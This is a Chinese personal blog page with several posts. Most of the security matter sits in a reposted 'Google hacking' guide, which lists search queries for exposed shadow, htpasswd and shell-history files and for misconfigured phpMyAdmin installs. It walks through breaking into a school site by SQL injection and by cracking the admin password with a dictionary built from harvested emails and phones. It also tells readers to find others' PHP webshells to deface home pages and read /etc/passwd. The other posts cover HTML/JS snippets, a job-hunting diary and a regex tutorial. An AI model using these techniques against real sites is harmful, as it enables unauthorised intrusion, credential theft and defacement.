彦松's profile七彩网络PhotosBlogLists Tools Help

Blog


    July 27

    Google的妙用

    来自:黑白网络
    google hacking其实并算不上什么新东西,当时并没有重视这种技术,认为webshell什么的,并无太大实际用途.google hacking其实并非

    如此简单...

    google hacking的简单实现
    使用google中的一些语法可以提供给我们更多的信息(当然也提供给那些习惯攻击的人更多他们所想要的.),下面就来介绍一些常用的语法.
    intext:
    这个就是把网页中的正文内容中的某个字符做为搜索条件.例如在google里输入:intext:动网.将返回所有在网页正文部分包含"动网"的网页

    .allintext:使用方法和intext类似.

    intitle:
    和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符.例如搜索:intitle:安全天使.将返回所有网页标题中包含"安全天使"的网

    页.同理allintitle:也同intitle类似.

    cache:
    搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦.

    define:
    搜索某个词语的定义,搜索:define:hacker,将返回关于hacker的定义.

    filetype:
    这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的对特定目标进行信息收集都需要用到这个.搜索指定类型的文件.例如输入

    :filetype:doc.将返回所有以doc结尾的文件URL.当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富

    info:
    查找指定站点的一些基本信息.

    inurl:
    搜索我们指定的字符是否存在于URL中.例如输入:inurl:admin,将返回N个类似于这样的连接:http://www.xxx.com/xxx/admin,用来找管理员登

    陆的URL不错.allinurl也同inurl类似,可指定多个字符.

    link:
    例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL.

    site:
    这个也很有用,例如:site:www.4ngel.net.将返回所有和4ngel.net这个站有关的URL.


    对了还有一些*作符也是很有用的:
    + 把google可能忽略的字列如查询范围
    - 把某个字忽略
    ~ 同意词
    . 单一的通配符
    * 通配符,可代表多个字母
    "" 精确查询

    下面开始说说实际应用

    以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了.而google正因为其强大的搜索能力往往会

    把一些敏感信息透露给他们.用google搜索以下内容:
    intitle:"index of" etc
    intitle:"Index of" .sh_history
    intitle:"Index of" .bash_history
    intitle:"index of" passwd
    intitle:"index of" people.lst
    intitle:"index of" pwd.db
    intitle:"index of" etc/shadow
    intitle:"index of" spwd
    intitle:"index of" master.passwd
    intitle:"index of" htpasswd
    "# -FrontPage-" inurl:service.pwd
    有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的


    同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站

    点:
    intext:ZeroBoard filetype:php
    或者使用:
    inurlutlogin.php?_zb_path= site:.jp
    来寻找我们所需要的页面.phpmyadmin是一套功能强大的数据库*作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进

    行*作.我们可以用google搜索存在这样漏洞的程序URL:
    intitle:phpmyadmin intext:Create new database

    还记http://www.xxx.com/_vti_bin/..%5 ... ystem32/cmd.exe?dir吗?用google找找,你也许还可以找到很多

    古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
    allinurl:winnt system32

    前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件

    等等).举个例子示例一下:
    allinurl:bbs data
    filetype:mdb inurl:database
    filetype:inc conn
    inurl:data filetype:mdb
    intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后

    台.


    利用google完全是可以对一个站点进行信息收集和渗透的,下面我们用google对特定站点进行一次测试。
    首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
    site:xxxx.com
    从返回的信息中,找到几个该校的几个系院的域名:
    http://a1.xxxx.com
    http://a2.xxxx.com
    http://a3.xxxx.com
    http://a4.xxxx.com
    顺便ping了一下,应该是在不同的服务器.学校一般都会有不少好的资料,先看看有什么好东西没

    site:xxxx.com filetype:doc
    得到N个不错的doc。

    先找找网站的管理后台地址:
    site:xxxx.com intext:管理
    site:xxxx.com inurl:login
    site:xxxx.com intitle:管理
    超过获得2个管理后台地址:
    http://a2.xxxx.com/sys/admin_login.asp
    http://a3.xxxx.com:88/_admin/login_in.asp

    还算不错,看看服务器上跑的是什么程序:
    site:a2.xxxx.com filetype:asp
    site:a2.xxxx.com filetype:php
    site:a2.xxxx.com filetype:aspx
    site:a3.xxxx.com filetype:asp
    site:.......
    ......
    a2服务器用的应该是IIS,上面用的是asp的整站程序,还有一个php的论坛
    a3服务器也是IIS,aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的:
    site:a2.xxxx.com intext:ftp://*:*
    没找到什么有价值的东西。再看看有没有上传一类的漏洞:
    site:a2.xxxx.com inurl:file
    site:a3.xxxx.com inurl:load
    在a2上发现一个上传文件的页面:
    http://a2.xxxx.com/sys/uploadfile.asp
    用IE看了一下,没权限访问。试试注射,
    site:a2.xxxx.com filetype:asp
    得到N个asp页面的地址,体力活就让软件做吧,这套程序明显没有对注射做什么防范,dbowner权限,虽然不高但已足矣,back a shell不太喜

    欢,而且看起来数据库的个头就不小,直接把web管理员的密码暴出来再说,MD5加密过。一般学校的站点的密码都比较有规律,通常都是域名+

    电话一类的变形,用google搞定吧。
    site:xxxx.com //得到N个二级域名
    site:xxxx.com intext:*@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的
    site:xxxx.com intext:电话 //N个电话
    把什么的信息做个字典吧,挂上慢慢跑。过了一段时间就跑出4个帐号,2个是学生会的,1个管理员,还有一个可能是老师的帐号。登陆上去:
    name:网站管理员
    pass:a2xxxx7619 //说了吧,就是域名+4个数字
    要再怎么提权那就不属于本文讨论访问了,呵呵,到此为止。


    这段时间在国外的一些google hack的研究站点看了看,其实也都差不多是一些基本语法的灵活运用,或者配合某个脚本漏洞,主要还是靠

    个人的灵活思维。国外对于google hack方面的防范也并不是很多,所以大家还是点到为止,不要去搞破坏拉,呵呵。对于一些在win上跑
    apache的网管们应该多注意一下这方面,一个intitle:index of就差不多都出来了
    1.查找利用php webshell

    intitle:"php shell*" "Enable stderr" filetype:php

    (注: intitle—网页标题 Enable stderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中,你能找到很多直接在机器上执

    行命令的web shell来。如果找到的PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明

    的是,我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填

    写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:


    echo "召唤" > index.jsp


    现在看看首页,已经被我们改成: "召唤" 了。

    我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file

    echo "test" >> file

    这样一条条打出来,站点首页就成功被替换了。同样的也可以


    uname -a;cat /etc/passwd

    不过有点要注意,有些WEBSHELL程序有问题,执行不了的,

    2.搜索INC敏感信息

    在google的搜索框中填入:

    Code:

    .org filetype:inc
    July 22

    网页中一些屏蔽用法

    1. oncontextmenu="window.event.returnvalue=false" 将彻底屏蔽鼠标右键
    <table border oncontextmenu=return(false)><td>no</table> 可用于Table

    2. <body onselectstart="return false"> 取消选取、防止复制

    3. onpaste="return false" 不准粘贴

    4. oncopy="return false;" oncut="return false;" 防止复制

    5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标

    6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标

    7. <input style="ime-mode:disabled"> 关闭输入法

    8. 永远都会带着框架
    <script language="javascript"><!--
    if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
    // --></script>

    9. 防止被人frame
    <SCRIPT LANGUAGE=javascript><!--
    if (top.location != self.location)top.location=self.location;
    // --></SCRIPT>

    10. <noscript><iframe src=*.html></iframe></noscript> 网页将不能被另存为


    11. <input type=button value=查看网页源代码
    onclick="window.location = 'view-source:'+ 'http://www.csdn.net/'">

    12. 怎样通过asp的手段来检查来访者是否用了代理
    <% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
    response.write "<font color=#FF0000>您通过了代理服务器,"& _
    "真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
    end if
    %>‘如果没有用代理Request.ServerVariables("HTTP_X_FORWARDED_FOR")
    的返回值将为空,所以最好是配合Request.ServerVariables("REMOTE_ADDR") 使用,

    犹如 if Request.ServerVariables("HTTP_X_FORWARDED_FOR")=“” then

    IP=Request.ServerVariables("REMOTE_ADDR")

    13. 取得控件的绝对位置

    //javascript
    <script language="javascript">
    function getIE(e){
    var t=e.offsetTop;
    var l=e.offsetLeft;
    while(e=e.offsetParent){
    t+=e.offsetTop;
    l+=e.offsetLeft;
    }
    alert("top="+t+"\nleft="+l);
    }
    </script>

    //VBScript
    <script language="VBScript"><!--
    function getIE()
    dim t,l,a,b
    set a=document.all.img1
    t=document.all.img1.offsetTop
    l=document.all.img1.offsetLeft
    while a.tagName<>"BODY"
    set a = a.offsetParent
    t=t+a.offsetTop
    l=l+a.offsetLeft
    wend
    msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
    end function
    --></script>

    14. 光标是停在文本框文字的最后
    <script language="javascript">
    function cc()
    {
    var e = event.srcElement;
    var r =e.createTextRange();
    r.moveStart('character',e.value.length);
    r.collapse(true);
    r.select();
    }
    </script>
    <input type=text name=text1 value="123" onfocus="cc()">

    15. 判断上一页的来源
    asp:
    request.servervariables("HTTP_REFERER")

    javascript:
    document.referrer

    16. 最小化、最大化、关闭窗口
    <object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
    <param name="Command" value="Minimize"></object>
    <object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
    <param name="Command" value="Maximize"></object>
    <OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
    <PARAM NAME="Command" value="Close"></OBJECT>

    <input type=button value=最小化 onclick=hh1.Click()>
    <input type=button value=最大化 onclick=hh2.Click()>
    <input type=button value=关闭 onclick=hh3.Click()>
    本例适用于IE

    17.
    <%
    '定义数据库连接的一些常量
    Const adOpenForwardOnly = 0 '游标只向前浏览记录,不支持分页、Recordset、BookMark
    Const adOpenKeyset = 1 '键集游标,其他用户对记录说做的修改将反映到记录集中,但其他用户增加或删除记录不会反映到记录集中。支持分页、Recordset、BookMark
    Const adOpenDynamic = 2 '动态游标功能最强,但耗资源也最多。用户对记录说做的修改,增加或删除记录都将反映到记录集中。支持全功能浏览(ACCESS不支持)。
    Const adOpenStatic = 3 '静态游标,只是数据的一个快照,用户对记录说做的修改,增加或删除记录都不会反映到记录集中。支持向前或向后移动

    Const adLockReadOnly = 1 '锁定类型,默认的,只读,不能作任何修改
    Const adLockPessimistic = 2 '当编辑时立即锁定记录,最安全的方式
    Const adLockOptimistic = 3 '只有在调用Update方法时才锁定记录集,而在此前的其他*作仍可对当前记录进行更改、插入和删除等
    Const adLockBatchOptimistic = 4 '当编辑时记录不会被锁定,而更改、插入和删除是在批处理方式下完成的

    Const adCmdText = &H0001
    Const adCmdTable = &H0002
    %>

    18. 网页不会被缓存
    HTM网页
    <META HTTP-EQUIV="pragma" CONTENT="no-cache">
    <META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
    <META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
    或者<META HTTP-EQUIV="expires" CONTENT="0">
    ASP网页
    Response.Expires = -1
    Response.ExpiresAbsolute = Now() - 1
    Response.cachecontrol = "no-cache"
    PHP网页
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-cache, must-revalidate");
    header("Pragma: no-cache");


    19. 检查一段字符串是否全由数字组成
    <script language="javascript"><!--
    function checkNum(str){return str.match(/\D/)==null}
    alert(checkNum("1232142141"))
    alert(checkNum("123214214a1"))
    // --></script>

    20. 获得一个窗口的大小
    document.body.clientWidth,document.body.clientHeight

    21. 怎么判断是否是字符
    if (/[^\x00-\xff]/g.test(s)) alert("含有汉字");
    else alert("全是字符");

    22.TEXTAREA自适应文字行数的多少
    <textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">

    July 07

    现实的生活

    深圳一个月了,天天跑人才市场,然后几乎天天面试。无心插柳,上周去了一家公司(本来不怎么想去的,因为第一次和老板谈的时候就感觉很郁闷,不太懂技术的人,还老摆一副牛人的样子,超BS),本来是应聘的网站后台,结果去了是让我搜集资料,500多个小类,我晕,把我当文秘用了,结果呆了一个小时回来了。继续跑人才市场...
    天意弄人,前天在人才市场把手机丢了,确切的说是被人“”走了,一个破手机倒无所谓了,可惜的是我投的那些公司都无法和我联系,丢东西也是对人的一大打击,虽然手机不怎么好,而且是在这么失意的时候。无奈...
    现在人才市场的人是明显增多了,05年的毕业生都跑深圳来了吧,跑多了,经常在那里碰到一些熟面孔,他们也和我一样还没找到工作,心里稍微平衡了一点。怎么说呢,深圳的机会是多一些,但是现在有点供过于求了,公司一个职位收了6、7十甚至上百份简历慢慢挑,狂晕。而且现在才发觉深圳这边的要求都蛮高的,以前自己做一些东西还觉得蛮轻松的,挺自信,到了深圳这边公司要求的更多,现在才发觉以前用的那些东西只是皮毛罢了,要学的东西实在太多了。
    今天又去了一家公司,做“健身游戏”的,蛮新颖的吧,国内据说就他一家,听老板的介绍后感觉蛮不错的,我负责网站和客户的技术支持,虽然工作会有点累,但我比较感兴趣,后天再去和他们搞技术的谈一下,希望能到这个公司吧,工资也蛮不错的。而且他们老板是复旦研究生,在华为呆了5年混到了经理,现在单干了,我能去的话应该能学不少东西,多接触一下市场也好,对自己有好处。祈祷吧,现在也多看些相关的技术文档了....
    这一个多呆在大学同学那,还真是感谢他,老二...

    正则表达式

    以前在客户端处理一些验证的case都是写些JS,今天忽然看到了一段用正则表达式来验证的代码,还蛮简便的,虽然以前也见过,不过没有仔细研究过,今天好好看了看,把它写在blog上得了,呵呵,站在前辈的肩膀上嘛,^_^
    如果原来没有使用过正则表达式,那么可能对这个术语和概念会不太熟悉。不过,它们并不是您想象的那么新奇。
    请回想一下在硬盘上是如何查找文件的。您肯定会使用 ? 和 * 字符来帮助查找您正寻找的文件。? 字符匹配文件名中的单个字符,而 * 则匹配一个或多个字符。一个如 'data?.dat' 的模式可以找到下述文件:
    data1.dat
    data2.dat
    datax.dat
    dataN.dat
    如果使用 * 字符代替 ? 字符,则将扩大找到的文件数量。'data*.dat' 可以匹配下述所有文件名:
    data.dat
    data1.dat
    data2.dat
    data12.dat
    datax.dat
    dataXYZ.dat
    尽管这种搜索文件的方法肯定很有用,但也十分有限。? 和 * 通配符的有限能力可以使你对正则表达式能做什么有一个概念,不过正则表达式的功能更强大,也更灵活。
    使用正则表达式
    在典型的搜索和替换操作中,必须提供要查找的确切文字。这种技术对于静态文本中的简单搜索和替换任务可能足够了,但是由于它缺乏灵活性,因此在搜索动态文本时就有困难了,甚至是不可能的。
    使用正则表达式,就可以:
    1.测试字符串的某个模式。例如,可以对一个输入字符串进行测试,看在该字符串是否存在一个电话号码模式或一个信用卡号码模式。这称为数据有效性验证。
    2.替换文本。可以在文档中使用一个正则表达式来标识特定文字,然后可以全部将其删除,或者替换为别的文字。
    3.根据模式匹配从字符串中提取一个子字符串。可以用来在文本或输入字段中查找特定文字。
    例如,如果需要搜索整个 web 站点来删除某些过时的材料并替换某些HTML 格式化标记,则可以使用正则表达式对每个文件进行测试,看在该文件中是否存在所要查找的材料或 HTML 格式化标记。用这个方法,就可以将受影响的文件范围缩小到包含要删除或更改的材料的那些文件。然后可以使用正则表达式来删除过时的材料,最后,可以再次使用正则表达式来查找并替换那些需要替换的标记。
    另一个说明正则表达式非常有用的示例是一种其字符串处理能力还不为人所知的语言。VBScript 是 Visual Basic 的一个子集,具有丰富的字符串处理功能。与 C 类似的 Visual Basic Scripting Edition 则没有这一能力。正则表达式给 Visual Basic Scripting Edition 的字符串处理能力带来了明显改善。不过,可能还是在 VBScript 中使用正则表达式的效率更高,它允许在单个表达式中执行多个字符串操作。
    正则表达式语法
    一个正则表达式就是由普通字符(例如字符 a 到 z)以及特殊字符(称为元字符)组成的文字模式。该模式描述在查找文字主体时待匹配的一个或多个字符串。正则表达式作为一个模板,将某个字符模式与所搜索的字符串进行匹配。
    这里有一些可能会遇到的正则表达式示例:
    Visual Basic VBScript 匹配
    Scripting Edition
    /^\[ \t]*$/ "^\[ \t]*$" 匹配一个空白行。
    /\d{2}-\d{5}/ "\d{2}-\d{5}" 验证一个ID号码是否由一个2位字,一个连字符以及一个5位数字组成。
    /<(.*)>.*<\/\1>/ "<(.*)>.*<\/\1>" 匹配一个 HTML 标记。

    下表是元字符及其在正则表达式上下文中的行为的一个完整列表:
    字符 描述
    \ 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 后向引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'\n'
    匹配一个换行符。序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。
    ^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。
    $ 匹配输入字符串的结束位置。如果设置了 RegExp 对象的Multiline 属性,$ 也匹配 '\n' 或 '\r' 之前的位置。
    * 匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及"zoo"。 * 等价于{0,}。
    + 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
    ? 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配"do" 或 "does" 中的"do" 。? 等价于 {0,1}。
    {n} n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配"Bob" 中的 'o',但是能匹配 "food" 中的两个 o。
    {n,} n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配"Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}'
    等价于 'o+'。'o{0,}' 则等价于 'o*'。
    {n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。刘, "o{1,3}" 将匹配 "fooooood" 中的前三个o。
    'o{0,1}'等价于'o?'。请注意在逗号和两个数之间不能有空格
    ? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,},{n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的
    匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 "oooo",'o+?' 将匹配单个
    "o",而 'o+' 将匹配所有 'o'。
    . 匹配除 "\n" 之外的任何单个字符。要匹配包括 '\n' 在内的任何字符,请使用象 '[.\n]' 的模式。
    (pattern) 匹配pattern 并获取这一匹配。所获取的匹配可以从产生的Matches 集合得到,在VBScript 中使用 SubMatches 集合,在
    Visual Basic Scripting Edition 中则使用 $0…$9 属性。要匹配圆括号字符,请使用 '\(' 或 '\)'。
    (?:pattern) 匹配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 "或" 字符 (|) 来组合
    一个模式的各个部分是很有用。例如, 'industr(?:y|ies) 就是一个比 'industry|industries' 更简略的表达式。
    (?=pattern) 正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后
    使用。例如,'Windows (?=95|98|NT|2000)' 能匹配"Windows 2000"中的"Windows",但不能匹配"Windows3 .1"中"Windows"。
    预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之
    后开始。
    (?!pattern) 负向预查,在任何不匹配Negative lookahead matches the search string at any point where a string not matching
    pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如'Windows
    (?!95|98|NT|2000)' 能匹配 "Windows 3.1" 中的 "Windows",但不能匹配 "Windows 2000" 中的 "Windows"。预查不消耗字
    符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始
    x|y 匹配 x 或 y。例如,'z|food' 能匹配 "z" 或 "food"。'(z|f)ood' 则匹配 "zood" 或 "food"。
    [xyz] 字符集合。匹配所包含的任意一个字符。例如, '[abc]' 可以匹配 "plain" 中的 'a'。
    [^xyz] 负值字符集合。匹配未包含的任意字符。例如, '[^abc]' 可以匹配 "plain" 中的'p'。
    [a-z] 字符范围。匹配指定范围内的任意字符。例如,'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符。
    [^a-z] 负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。
    \b 匹配一个单词边界,也就是指单词和空格间的位置。例如,'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中
    的 'er'。
    \B 匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。
    \cx 匹配由x指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。 x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一
    个原义的 'c' 字符。
    \d 匹配一个数字字符。等价于 [0-9]。
    \D 匹配一个非数字字符。等价于 [^0-9]。
    \f 匹配一个换页符。等价于 \x0c 和 \cL。
    \n 匹配一个换行符。等价于 \x0a 和 \cJ。
    \r 匹配一个回车符。等价于 \x0d 和 \cM。
    \s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。
    \S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。
    \t 匹配一个制表符。等价于 \x09 和 \cI。
    \v 匹配一个垂直制表符。等价于 \x0b 和 \cK。
    \w 匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。
    \W 匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。
    \xn 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如, '\x41' 匹配 "A"。'\x041' 则等价
    于 '\x04' & "1"。正则表达式中可以使用 ASCII 编码。.
    \num 匹配 num,其中num是一个正整数。对所获取的匹配的引用。
    例如,'(.)\1' 匹配两个连续的相同字符。
    \n 标识一个八进制转义值或一个后向引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为后向引用。否则,如果 n 为八进制
    数字 (0-7),则 n 为一个八进制转义值。
    \nm 标识一个八进制转义值或一个后向引用。如果 \nm 之前至少有is preceded by at least nm 个获取得子表达式,则 nm 为后
    向引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的后向引用。如果前面的条件都不满足,若 n 和 m 均为
    八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。
    \nml 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。
    \un 匹配 n,其中 n 是一个用四个十六进制数字表示的Unicode字符。例如, \u00A9 匹配版权符号 (?)。
    建立正则表达式
    构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与操作符将小的表达式结合在一起来创建更大的表达式。
    可以通过在一对分隔符之间放入表达式模式的各种组件来构造一个正则表达式。对 Visual Basic Scripting Edition 而言,分隔符为一对正斜杠 (/) 字符。例如:
    /expression/
    对 VBScript 而言,则采用一对引号 ("") 来确定正则表达式的边界。例如:
    "expression"
    在上面所示的两个示例中,正则表达式模式 (expression) 均存储在RegExp 对象的Pattern 属性中。
    正则表达式的组件可以是单个的字符、字符集合、字符范围、字符间的选择或者所有这些组件的任意组合。
    优先权顺序
    在构造正则表达式之后,就可以象数学表达式一样来求值,也就是说,可以从左至右并按照一个优先权顺序来求值。
    下表从最高优先级到最低优先级列出各种正则表达式操作符的优先权顺序:
    操作符 描述
    \ 转义符
    (), (?:), (?=), [] 圆括号和方括号
    *, +, ?, {n}, {n,}, {n,m} 限定符
    ^, $, \anymetacharacter 位置和顺序
    | “或”操作
    普通字符
    普通字符由所有那些未显式指定为元字符的打印和非打印字符组成。这包括所有的大写和小写字母字符,所有数字,所有标点符号以及一些符号。
    最简单的正则表达式是一个单独的普通字符,可以匹配所搜索字符串中的该字符本身。例如,单字符模式 'A' 可以匹配所搜索字符串中任何位置出现的字母 'A'。这里有一些单字符正则表达式模式的示例:
    /a/
    /7/
    /M/
    等价的 VBScript 单字符正则表达式为:
    "a"
    "7"
    "M"
    可以将多个单字符组合在一起得到一个较大的表达式。例如,下面的 Visual Basic Scripting Edition 正则表达式不是别的,就是通过组合单字符表达式 'a'、'7'以及 'M' 所创建出来的一个表达式。
    /a7M/
    等价的 VBScript 表达式为:
    "a7M"
    请注意这里没有连接操作符。所需要做的就是将一个字符放在了另一个字符后面。

    特殊字符
    有不少元字符在试图对其进行匹配时需要进行特殊的处理。要匹配这些特殊字符,必须首先将这些字符转义,也就是在前面使用一个反斜杠 (\)。下表给出了这些特殊字符及其含义:
    特殊字符 说明
    $ 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline属性,则 $ 也匹配 '\n' 或 '\r'。要匹配 $ 字符本身,请使用 \$。
    ( ) 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)。
    * 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。
    + 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+。
    . 匹配除换行符 \n之外的任何单字符。要匹配 .,请使用 \。
    标记一个中括号表达式的开始。要匹配 [,请使用 \[。
    ? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \?。
    \ 将下一个字符标记为或特殊字符、或原义字符、或后向引用、或八进制转义符。例如, 'n' 匹配字符 'n'。'\n' 匹配换行符。序列 '\\' 匹
    配 "\",而 '\(' 则匹配 "("。
    ^ 匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。要匹配 ^ 字符本身,请使用 \^。
    { 标记限定符表达式的开始。要匹配 {,请使用 \{。
    | 指明两项之间的一个选择。要匹配 |,请使用 \|。
    非打印字符
    有不少很有用的非打印字符,偶尔必须使用。下表显示了用来表示这些非打印字符的转义序列:
    字符 含义
    \cx 匹配由x指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。
    x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字
    符。
    \f 匹配一个换页符。等价于 \x0c 和 \cL。
    \n 匹配一个换行符。等价于 \x0a 和 \cJ。
    \r 匹配一个回车符。等价于 \x0d 和 \cM。
    \s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于
    [\f\n\r\t\v]。
    \S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。
    \t 匹配一个制表符。等价于 \x09 和 \cI。
    \v 匹配一个垂直制表符。等价于 \x0b 和 \cK。
    字符匹配
    句点 (.) 匹配一个字符串中任何单个的打印或非打印字符,除了换行符 (\n) 之外。下面的 Visual Basic Scripting Edition 正则表达式可以匹配 'aac'、'abc'、'acc'、'adc'如此等等,同样也可以匹配 'a1c'、'a2c'、a-c'以及 a#c':
    /a.c/
    等价的 VBScript 正则表达式为:
    "a.c"
    如果试图匹配一个包含文件名的字符串,其中句点 (.) 是输入字符串的一部分,则可以在正则表达式中的句点前面加上一个反斜杠 (\) 字符来实现这一要求。举例来说,下面的 Visual Basic Scripting Edition 正则表达式就能匹配 'filename.ext':
    /filename\.ext/
    对 VBScript 而言,等价的表达式如下所示:
    "filename\.ext"
    这些表达式仍然是相当有限的。它们只允许匹配任何单字符。很多情况下,对从列表中匹配特殊字符十分有用。例如,如果输入文字中包含用数字表示为Chapter 1, Chapter 2诸如此类的章节标题,你可能需要找到这些章节标题。

    括号表达式
    可以在一个方括号 ([ 和 ]) 中放入一个或多个单字符,来创建一个待匹配的列表。如果字符被放入括号中括起来,则该列表称为括号表达式。括号内和其他任何地方一样,普通字符代表其本身,也就是说,它们匹配输入文字中出现的一处自己。大多数特殊字符在位于括号表达式中时都将失去其含义。这里有一些例外:
    1. ']' 字符如果不是第一项,则将结束一个列表。要在列表中匹配 ']' 字符,请将其放在第一项,紧跟在开始的 '[' 后面。
    2. '\' 仍然作为转义符。要匹配 '\' 字符,请使用 '\\'。
    括号表达式中所包含的字符只匹配该括号表达式在正则表达式中所处位置的一个单字符。下面的 Visual Basic Scripting Edition 正则表达式可以匹配 'Chapter 1'、'Chapter 2'、'Chapter 3'、'Chapter 4' 以及 'Chapter 5':
    /Chapter ][12345]/
    在 VBScript 中要匹配同样的章节标题,请使用下面的表达式:
    "Chapter [12345]"
    请注意单词 'Chapter' 及后面的空格与括号内的字符的位置关系是固定的。因此,括号表达式只用来指定满足紧跟在单词 'Chapter' 和一个空格之后的单字符位置的字符集合。这里是第九个字符位置。
    如果希望使用范围而不是字符本身来表示待匹配的字符,则可以使用连字符将该范围的开始和结束字符分开。每个字符的字符值将决定其在一个范围内的相对顺序。下面的 Visual Basic Scripting Edition 正则表达式包含了一个等价于上面所示的括号列表的范围表达式。
    /Chapter [1-5]/
    VBScipt 中相同功能的表达式如下所示:
    "Chapter [1-5]"
    如果以这种方式指定范围,则开始和结束值都包括在该范围内。有一点特别需要注意的是,在 Unicode 排序中起始值一定要在结束值之前。
    如果想在括号表达式中包括连字符,则必须使用下述方法之一:
    1. 使用反斜杠将其转义: [\-]
    2. 将连字符放在括号列表的开始和结束位置。下面的表达式能匹配所有的小写字母和连字符:[-a-z],[a-z-]
    3. 创建一个范围,其中开始字符的值小于连字符,而结束字符的值等于或大于连字符。下面两个正则表达式都满足这一要求: [!--],[!-~]
